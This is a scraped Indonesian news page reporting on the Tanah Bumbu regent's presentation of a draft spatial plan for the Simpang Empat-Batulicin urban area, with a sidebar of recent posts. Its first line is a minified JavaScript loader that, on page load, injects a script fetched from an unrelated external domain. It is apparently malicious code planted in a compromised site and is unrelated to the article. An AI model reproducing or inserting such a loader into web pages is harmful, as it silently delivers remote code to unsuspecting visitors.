(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Bupati Tanbu Sampaikan RDTR Kawasan Perkotaan Simpang Empat-Batulicin


KANALKALIMANTAN.COM, BATULICIN – Bupati Tanah Bumbu menghadiri rapat koordinasi lintas sektor Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional Direktorat Jenderal Tata Ruang, di Hotel Sheraton Grand Jakarta Gandaria City, Jakarta Selatan, Senin (25/7/2022) siang.

Rakor digelar membahas Rancangan Peraturan Bupati Mempawah tentang Rencana Detail Tata Ruang (RDTR), Kawasan Perkotaan Mempawah, Rancangan Peraturan Bupati Tanah Bumbu tentang RDTR Kawasan Perkotaan Simpang Empat-Batulicin, dan Rancangan Peraturan Bupati Minahasa tentang RDTR Kawasan Pariwisata Tombariri.

Bupati Tanah Bumbu HM Zairullah Azhar memaparkan bahwa lingkup Wilayah Perencanaan (WP) RDTR Simpang Empat-Batulicin sebagai pertimbangan yaitu perkantoran Batulicin sebagai PKWP, KI Batulicin sebagai KSP dan KSK, dari sudut kepentingan pertumbuhan ekonomi, terdapat KI Batulicin sebagai Proyek Strategis Nasional, KI prioritas dalam RPJMN 2020-2024.

Kabupaten Tanah Bumbu, telah mengalami perkembangan pesat dengan jumlah penduduk Tanah Bumbu kurang lebih sekitar 325.346 jiwa, didukung penghasilan dari sektor pertambangan, sektor perkebunan, sektor pariwisata, sektor pertanian, sektor perikanan dan lainnya.

 

Baca juga  : Tim Voli Putri Kotabaru Raih Medali Perak Popda 2022

“Sehingga muatan kebijakan RDTR memang sangat diperlukan, melalui program kerja Pemerintah Kabupaten Tanah Bumbu berencana membangun Bendungan Kusan, upaya strategis ini dilakukan untuk meningkatkan pertumbuhan perekonomian masyarakat, Kabupaten Tanah Bumbu Provinsi Kalimantan Selatan siap sebagai penyangga Ibu Kota Negara,” beber Bupati.

Kecamatan Simpang Empat-Batulicin, memiliki luas yaitu 5.294,68 hektare, isu pembangunan wilayah perencanaan ialah risiko tinggi terhadap bencana banjir dan kebakaran lahan, penurunan kualitas sungai, alih fungsi lahan semi rawa menjadi lahan terbangun.

“Tujuan dari penataan RDTR perkotaan Simpang Empat-Batulicin adalah mewujudkan Kabupaten Tanah Bumbu sebagai pusat pelabuhan, industri, perdagangan dan pariwisata terdepan di Kalimantan Selatan, serta menuju masyarakat yang maju, unggul, mandiri, sejahtera, religius dan berakhlak mulia serta berintelektual tinggi,” tegas Zairullah.

Selain manfaat tersebut, penataan kawasan perkotaan Simpang Empat-Batulicin adalah untuk mewujudkan kawasan pusat pemerintahan kabupaten, pusat perdagangan jasa, transportasi, dan pendukung kawasan industri yang berkelanjutan.

 

Baca juga  : Lepas Rindu dari Balik Pagar Asrama Haji Banjarmasin

“Melalui penetapan RDTR Kawasan Perkotaan Simpang Empat-Batulicin ini, diharapkan program pembangunan lebih terarah dan investasi lebih mudah masuk ke kawasan perkotaan Simpang Empat-Batulicin melalui Online Single Submission,” sampainya.

Bupati Zairullah menjelaskan tentang struktur ruang rencana, beberapa diantaranya merupakan kajian dalam bentuk, pengembangan pusat pelayanan, rencana jaringan transportasi, rencana jaringan energi dan rencana pola ruang. RTH murni terhadap luas deliniasi WP 14,52%, RTH murni dan zona PS terhadap luas deliniasi 17,06%.

RTH murni dan PS terhadap luas lahan terbangun 19,72%. Disamping itu juga, ada pemaparan terkait PPK Batulicin sebagai Central Business District (CBD) dan rimba kota, serta lahan sawah dilindungi (LSD), yang disepakati di kawasan perkotaan Simpang Empat-Batulicin adalah seluas 55,4 hektare.

Plt Direktur Jenderal Tata Ruang, Kementerian ATR/BPN, Ir Gabriel Triwibawa menyampaikan dasar penyelenggaraan penataan ruang sebagai amanah UU Nomor 11 tahun 2020 tentang Cipta Kerja.

 

Baca juga  : Pegawai Bappedalitbang Diganjar Penghargaan Guna Tingkatkan Kinerja

“Ketentuan muatan rencana tata ruang yang diintegrasikan pada pembahasan lintas sektor pasal 63 PP 21 tahun 2021 pembahasan lintas sektor,” ujarnya.

Sebagaimana dimaksud dalam pasal 62 ayat 1 huruf d, dilaksanakan untuk mengintegrasikan program/kegiatan sektor, kegiatan yang bersifat strategis nasional, batas daerah, garis pantai, dan kawasan hutan.

Direktur Bina Perencanaan Tata Ruang Daerah Wilayah II Rahma Julianti, menyampaikan, delineasi wilayah perencanaan RDTR kawasan perkotaan Simpang Empat-Batulicin, Kabupaten Tanah Bumbu terdapat 4 kelurahan dan 8 desa terdata.

Batas wilayah perencanaan sebelah utara Kecamatan Batulicin (Desa Sarigadung, Desa Antasari, dan Kelurahan Tungkaran Pangeran, sebelah timur Selat Laut dan Pulau Swangi, sebelah selatan Kecamatan Batulicin, Desa Kersik Putih dan Kelurahan Gunung, dan sebelah barat Kecamatan BatuLicin, Desa Sukamaju, Desa Maju Bersama, dan Kelurahan Gunung. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Pimpin Peringatan Hari Otda 2025, Wabup Sampaikan Apresiasi kepada Jajaran

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Otonomi Daerah XXIX Tahun 2025 digelar oleh Pemkab Banjar di… Read More

3 jam ago

Siap Layani Embarkasi Haji Banjarmasin, Dua A330-343 Lion Air Tiba di Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) Embarkasi Banjarmasin direncanakan mulai memasuki fase keberangkatan pada… Read More

4 jam ago

16 Mei CJH Banjarbaru Masuk Asrama Haji, Tergabung di Dua Kloter

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) asal Kota Banjarbaru dijadwal akn berangkat ke Tanah… Read More

4 jam ago

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

7 jam ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

8 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

8 jam ago